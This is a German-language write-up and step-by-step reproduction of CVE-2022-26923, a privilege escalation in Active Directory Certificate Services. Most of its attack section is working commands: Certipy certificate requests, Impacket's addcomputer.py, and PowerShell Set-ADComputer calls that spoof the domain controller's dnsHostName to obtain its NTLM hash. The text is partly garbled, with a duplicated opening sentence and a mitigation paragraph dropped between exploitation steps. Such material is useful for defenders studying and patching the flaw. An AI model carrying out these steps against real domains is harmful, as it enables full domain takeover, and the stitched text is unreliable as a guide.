
Die Schwachstelle ermöglichte es einem Benutzer mit geringen Privilegien, in einer Standard-Active-Directory-Umgebung mit installierter Serverrolle Active Directory Certificate Services (AD CS) seine Privilegien bis zu denen eines Domänenadministrators auszuweiten.
Die Schwachstelle ermöglichte es einem Benutzer mit geringen Berechtigungen, in einer Standard-Active-Directory-Umgebung mit installierter Serverrolle Active Directory Certificate Services (AD CS) die Berechtigungen auf Domänenadministrator auszuweiten.
Ein Exploit wurde von Oliver Lyak (ly4k_) in Python entwickelt und wurde vor und nicht nach dem Advisory veröffentlicht. Er wird als Proof-of-Concept eingestuft. Der Exploit ist unter research.ifcr.dk zum Download verfügbar.
Quelle :
Die neu entdeckte Schwachstelle zur Erweiterung von Active-Directory-Domänenprivilegien wurde in freier Wildbahn noch nicht ausgenutzt, dennoch weist ihr hoher CVSS-Score von 8,8 auf ein hohes Risiko für kompromittierte Systeme hin, das es Angreifern ermöglicht, die Zertifikatsvergabe zu missbrauchen. CVE-2022–26923 erlaubt es, das DnsHostName-Attribut zu manipulieren, das den Computernamen angibt, wie er in DNS registriert ist, und ermöglicht es einem Angreifer anschließend, ein Zertifikat von den AD-Zertifikatdiensten zu erhalten, was möglicherweise zur Privilegienausweitung führt.
- Benutzername: user_test
- Passwort: Password123#
- Domäne: my.domain.com
Zur Reproduktion müssen Sie:
- Impacket und Certipy auf der Angreifermaschine installiert haben.
- https://github.com/SecureAuthCorp/impacket
- https://github.com/ly4k/Certipy
- Einen Benutzer mit geringen Privilegien kompromittiert haben.
- Ein System ist nur verwundbar, wenn Active Directory Certificate Services in der Domäne ausgeführt wird.
Beginnen wir mit der Generierung eines Zertifikats für unseren AD-Benutzer mit geringen Berechtigungen (Benutzername=user_test Passwort=Password123#) unter Verwendung der Zertifikatsvorlage User :
certipy req 'my.domain.com/user_test:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template User
Überprüfen wir, ob das Zertifikat gültig ist und über Certipy für die Kerberos-Authentifizierung verwendet werden kann :
certipy auth -pfx user_test.pfx
Hinzufügen eines virtuellen Computers zur Domäne mit Impacket
addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
# my.domain.com/user_test:Password123# - We need to provide valid AD credentials in order to add a new computer.
# method - The method of authentication. LDAPS will interface with the LDAP service on the domain controller.
# computer-name - The name of our computer. This can be anything we like, as long as it is not the same as an existing computer object.
# computer-pass - The password associated with our computer's machine account. We will need to impersonate this computer that we create, so make note of the password you chose here.
Generieren wir ein Zertifikat für den neu erstellten Computer. Um das Computerkonto dieses Computers zu verwenden, müssen Sie am Ende des Namens ein "$" hinzufügen:
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
Zur Abschwächung und zu Schutzmaßnahmen bezüglich CVE-2022–26923 empfiehlt Microsoft dringend, alle Server, auf denen AD-Zertifikatdienste ausgeführt werden, sowie Windows-Domänencontroller, die eine zertifikatsbasierte Authentifizierung betreiben, auf die neueste Version vom 10. Mai zu aktualisieren.
Aktualisieren der DNS-Hostnamen- und SPN-Attribute auf der kompromittierten Maschine :
PS C:\Users\user_test> Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
Entfernen unseres aktuellen SPN-Attributs
PS C:\Users\user_test> Set-ADComputer NEW_PC -ServicePrincipalName @{}
Versuchen Sie, das DNS-Hostname-Attribut auf das des DC zu setzen:
PS C:\Users\user_test> Set-ADComputer NEW_PC -DnsHostName HOSTANME.my.domain.com
Auf der Angreifermaschine: Erstellen eines bösartigen Zertifikats
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
Überprüfen, ob dieses Zertifikat funktioniert und den NTLM-Hash zurückgibt
certipy auth -pfx hostname.pfx